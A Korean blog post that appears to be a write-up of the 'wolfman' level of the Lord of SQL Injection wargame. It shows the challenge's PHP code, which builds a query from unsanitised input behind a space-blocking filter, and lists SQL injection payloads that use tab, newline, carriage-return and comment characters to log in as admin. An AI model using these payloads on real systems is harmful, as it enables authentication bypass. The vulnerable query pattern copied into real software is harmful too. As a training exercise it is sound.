티스토리 뷰
<?php
include "./config.php";login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
공백 필터링이 있는 문제다.
저번처럼 id는 guest로 고정되어있고 id는 admin이 되어야 문제가 풀린다.
공백이 필터링 되어있을 때 대신할 수 있는 것은
1. TAB : %09
2. \n : %0a
3. \r : %0d
4. 주석 : /**/
5. 괄호 : ()
6. +
등등이 있는데
이 문제에선 괄호가 안먹힌다.
그래서 TAB,\n,\r,주석의 경우를 다 테스트 해봤다.
TAB : ?pw=%27%09or%09id=%27admin
\n : ?pw=%27%0aor%0aid=%27admin
\r : ?pw=%27%0dor%0did=%27admin
주석 : ?pw=%27/**/or/**/id=%27admin
캡쳐는 많이 해뒀는데 TAB,\n,\r 의 보여주는 쿼리문이 다 똑같아서 하나로만 올린다.
'Web_Hacking > LOS' 카테고리의 다른 글
| [LOS] orge (0) | 2017.08.13 |
|---|---|
| [LOS] darkelf (0) | 2017.08.13 |
| [LOS] orc (0) | 2017.08.12 |
| [LOS] goblin (0) | 2017.08.10 |
| [LOS] cobolt (0) | 2017.08.10 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 웹해킹
- Los
- Lord of SQL Injection
- ftz
- Python
- 워게임
- lob
- java
- C
- wargame
- pwnable
- 명령어
- pwnable.kr
- webhacking.kr
- cobolt
- 0xdeadbeef
- attackme
- lord of sqlinjection
- WebHacking
- 파이썬
- wargame.kr
- 우분투
- BOF
- my-pass
- 자바
- MySQL
- 1번
- c언어
- 설치
- ubuntu
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 | 31 |
글 보관함